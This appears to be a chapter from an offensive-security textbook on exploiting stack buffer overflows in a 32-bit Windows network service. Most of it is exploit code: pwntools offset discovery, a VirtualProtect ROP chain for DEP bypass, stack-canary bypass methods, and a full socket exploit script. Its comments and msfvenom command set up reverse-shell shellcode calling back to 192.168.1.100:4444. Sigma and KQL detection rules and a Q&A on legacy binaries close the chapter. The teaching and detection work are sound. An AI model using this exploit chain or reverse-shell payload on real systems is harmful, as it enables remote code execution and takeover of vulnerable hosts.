Chapter 202

Stack Buffer Overflow Exploitation

Stack buffer overflows corrupt the saved return address on the call stack, redirecting execution when the vulnerable function returns. On modern systems with DEP and ASLR, this requires a ROP (Return-Oriented Programming) chain to pivot execution into shellcode or call a system function. Even on hardened targets with stack canaries, alternative overflow paths — SEH frame corruption, saved frame pointer overwrite, non-sequential field overwrite — may remain viable. This chapter builds a complete working exploit chain step by step.

Scenario

A network service (32-bit, no ASLR, DEP enabled, no canary, no CFG) receives a length-prefixed packet and copies the body into a 256-byte stack buffer using memcpy with the attacker-controlled length. You need to: find the exact byte offset to the saved EIP, craft a ROP chain to call VirtualProtect to mark the stack RWX, then jump to shellcode appended after the ROP chain.

Stack Layout Under Overflow

STACK BUFFER OVERFLOW — BEFORE AND AFTER ═══════════════════════════════════════════════════════════════════════ BEFORE OVERFLOW (normal execution): ┌────────────────────────┐ ← high address │ caller stack frame │ ├────────────────────────┤ │ saved EIP (ret addr) │ ← target: overwrite this to control execution ├────────────────────────┤ │ saved EBP │ ├────────────────────────┤ │ buf[256] │ ← memcpy destination; starts filling from bottom │ buf[0] ... buf[255] │ └────────────────────────┘ ← ESP (low address) AFTER OVERFLOW (256 + padding + 4 bytes written): ┌────────────────────────┐ │ caller stack frame │ ├────────────────────────┤ │ [overwritten EIP] │ ← now points into our ROP chain ├────────────────────────┤ │ [overwritten EBP] │ ← garbage or valid-looking value ├────────────────────────┤ │ AAAA...AAAA (256 b) │ ← buf filled │ BBBB (4 bytes padding) │ ← overflows to reach EBP │ [ROP chain addr] │ ← overwrites saved EIP │ ROP chain bytes... │ ← continues after EIP └────────────────────────┘ ═══════════════════════════════════════════════════════════════════════

Offset Discovery

# Python (pwntools) — generate cyclic pattern to find EIP offset
from pwn import *

# Generate 400-byte cyclic pattern
pattern = cyclic(400)
# Send to target; record crash EIP value from WinDbg: "r eip"
# e.g., EIP = 0x6161616b ("kaaa" in little-endian)

crash_eip = 0x6161616b
offset = cyclic_find(crash_eip)
print(f"EIP offset: {offset}")  # e.g., 260

# Verify: send 260x'A' + 4x'B' → EIP should be 0x42424242
test = b'A' * offset + b'B' * 4

# WinDbg commands for crash analysis:
# !exploitable        → EXPLOITABLE / severity
# r eip               → show instruction pointer at crash
# dd esp              → dump stack; look for our pattern
# u eip               → disassemble at crash address
# bp module!function  → set breakpoint to trace execution

DEP Bypass via ROP

# ROP chain to call VirtualProtect(stackAddr, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtect)
# Goals:
#   ESP at ret = address of stack containing shellcode
#   Mark stack page RWX → execute shellcode
#
# Windows x86 calling convention: args pushed right-to-left before CALL.
# ROP strategy: use "pop/ret" gadgets to load register values,
# then a gadget that sets up the stack and calls VirtualProtect.
#
# Find gadgets in non-ASLR module (e.g., a DLL compiled without /DYNAMICBASE):
# rp++ -f module.dll -r 5   (find gadgets up to 5 instructions deep)
# ROPgadget --binary module.dll --rop


from pwn import *
import struct

def p32(v): return struct.pack('<I', v)

# Addresses from non-ASLR module (fixed across all systems with same binary)
VPROTECT       = 0x77C01234  # kernel32!VirtualProtect — from static analysis
POP_EBX_RET    = 0x10014523  # pop ebx; ret — gadget in non-ASLR module
POP_ECX_RET    = 0x10018A11  # pop ecx; ret
PUSHAD_RET     = 0x1001C302  # pushad; ret — push all regs, return to next

# Msfvenom shellcode (null-free, calc.exe for PoC)
SHELLCODE = asm(shellcraft.windows.exec('calc.exe'))

offset  = 260
esp_at_ret = 0x0012FF40  # approximate stack address (no ASLR)

# ROP chain: set up VirtualProtect args on stack
# VirtualProtect(lpAddress, dwSize, flNewProtect, lpflOldProtect)
rop = b''
rop += p32(VPROTECT)          # call VirtualProtect
rop += p32(esp_at_ret + 0x20)# return after VP = shellcode start
rop += p32(esp_at_ret)        # lpAddress = current stack page
rop += p32(0x1000)            # dwSize
rop += p32(0x40)              # PAGE_EXECUTE_READWRITE
rop += p32(esp_at_ret + 0x100)# lpflOldProtect (writable addr)
rop += SHELLCODE

payload = b'A' * offset + rop
print(f"Payload length: {len(payload)}")

Stack Canary Bypass

// Stack canary (GS cookie) is placed between local variables and saved RBP/RIP.
// On function return, the compiler checks canary == original; mismatch → abort.
// Bypass strategies:

// 1. INFO LEAK: read canary value before overflowing
//    If the buffer is readable (format string / OOB read), read the 8 bytes
//    just before the saved RBP — that's the canary. Include correct canary value
//    in overflow payload → canary check passes.

// 2. NON-SEQUENTIAL OVERWRITE: overwrite only after the canary
//    If the vulnerability allows a controlled write to an arbitrary offset
//    (not a sequential overflow), skip the canary bytes and write directly
//    to saved RIP. Requires an arbitrary-write primitive, not a contiguous overflow.

// 3. OVERWRITE LOCAL POINTER: some stack frames contain a pointer to a data
//    structure; overwrite the pointer to point into attacker-controlled memory.
//    Function later dereferences pointer → use-after-write. Canary is never checked
//    for this class of corruption.

// 4. SEH OVERWRITE (32-bit only, no canary on SEH frame):
//    Overflow past stack frame into the SEH (Structured Exception Handler) record
//    stored on the stack. Trigger an exception → SEH dispatcher called with
//    attacker-controlled handler address. Canary check happens at return, not
//    during SEH dispatch. Defeated by SEHOP on modern Windows — requires
//    placing a valid SEH chain header.

Full Exploit Script

#!/usr/bin/env python3
# Complete exploit for stack buffer overflow in a TCP service.
# Target: 32-bit Windows, no ASLR, DEP enabled, no canary.
# Payload: VirtualProtect ROP → shellcode (reverse shell to 192.168.1.100:4444).

from pwn import *
import struct, socket

TARGET_IP   = "192.168.1.50"
TARGET_PORT = 9999
OFFSET      = 260

# Gadgets from vulnapp.dll (no /DYNAMICBASE — fixed addresses)
VPROTECT      = 0x77C01234
SC_RET_ADDR   = 0x0012FF68  # stack addr where shellcode lands

# Windows reverse shell shellcode (null-byte free, port 4444)
LHOST = "192.168.1.100"
LPORT = 4444

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444
#           -f python -b '\x00\x0a\x0d'
SC = (
    b"\xdb\xc0\xd9\x74\x24\xf4..."  # placeholder — replace with actual shellcode
)

def build_payload():
    rop = struct.pack('<I', VPROTECT)
    rop += struct.pack('<I', SC_RET_ADDR)    # return to shellcode after VP call
    rop += struct.pack('<I', SC_RET_ADDR)    # lpAddress
    rop += struct.pack('<I', 0x1000)         # dwSize
    rop += struct.pack('<I', 0x40)           # PAGE_EXECUTE_READWRITE
    rop += struct.pack('<I', SC_RET_ADDR - 0x100) # lpflOldProtect
    rop += SC

    payload = b'\x41' * OFFSET + rop
    # Prefix with length header (4-byte big-endian)
    return struct.pack('>I', len(payload)) + payload

def exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((TARGET_IP, TARGET_PORT))
    s.send(build_payload())
    s.close()
    print("Payload sent — listen on 4444")

if __name__ == '__main__':
    exploit()

Detection Engineering

title: Stack Cookie Violation — __security_check_cookie Abort
logsource:
  product: windows
  service: application
detection:
  selection:
    EventID: 1000
    FaultingModuleName: 'ntdll.dll'
    ExceptionCode: '0xc0000409'  # STATUS_STACK_BUFFER_OVERRUN (__security_check_cookie)
  condition: selection
level: critical
tags: [attack.initial_access, T1203]

title: Exploit Guard — ROP Chain Detected
logsource:
  product: windows
  service: windefend
detection:
  selection:
    EventID: 1110  # Exploit Protection event
    RuleId: 'CallerCheck'
  condition: selection
level: critical

-- MDE KQL: Exploit Guard events (includes CFG violations, ROP detection)
DeviceEvents
| where ActionType == "ExploitGuardExploitDetected"
| extend Details = parse_json(AdditionalFields)
| project Timestamp, DeviceName, InitiatingProcessFileName,
    Details.Technique, Details.ProcessCommandLine

-- MDE KQL: VirtualProtect call pattern — marking stack/heap RWX
DeviceEvents
| where ActionType == "ProcessInjection"
    or ActionType == "MemoryModified"
| where AdditionalFields has "PAGE_EXECUTE_READWRITE"
| where AdditionalFields has_any ("Stack","Heap")
| project Timestamp, DeviceName, InitiatingProcessFileName, AdditionalFields

Q&A

Modern Windows enables DEP and ASLR by default. Explain why a 32-bit process without ASLR still exists in enterprise environments and why it represents a persistent risk even in 2026.

32-bit processes without ASLR persist in enterprise environments for several reasons: (1) Legacy compiled binaries: applications compiled before 2008 (when /DYNAMICBASE was introduced in MSVC 2005 SP1 and became default around VS2010) lack the DYNAMIC_BASE DLL characteristic in their PE header. Windows still runs these applications and loads them at their preferred base address without randomization. Enterprises often run such applications for decades — custom line-of-business software, industrial control system HMI, hardware vendor software — because the cost of recompiling or replacing is high. (2) 32-bit application isolation: some organizations deliberately run certain services as 32-bit for compatibility with 32-bit COM objects or device drivers that have no 64-bit equivalent. 32-bit ASLR has only 8 bits of entropy for image base randomization (compared to 17+ bits for 64-bit), making it significantly weaker even when enabled. (3) Vendor support lifecycle: third-party vendors whose software is essential to operations often stop releasing security updates before enterprises stop using the software. A point-of-sale terminal, embedded system, or specialty sensor software from 2012 may still be running on the same binary built without modern mitigations.

The persistent risk in 2026: these 32-bit, no-ASLR processes often sit on internal network segments assumed to be trusted — but once an attacker has initial access to any host on the same segment (which the rest of this book covers), they can pivot to these legacy services over SMB, HTTP, or whatever the application listens on. A pre-auth stack overflow in a service listening on all interfaces is a reliable, repeatable privilege escalation to SYSTEM or lateral movement primitive. The mitigation is enabling Exploit Guard's Force ASLR setting (`Set-ProcessMitigation -Name app.exe -Enable ForceRelocateImages`) which forces ASLR even on images compiled without /DYNAMICBASE — though this can cause application crashes if the image's code has absolute address assumptions.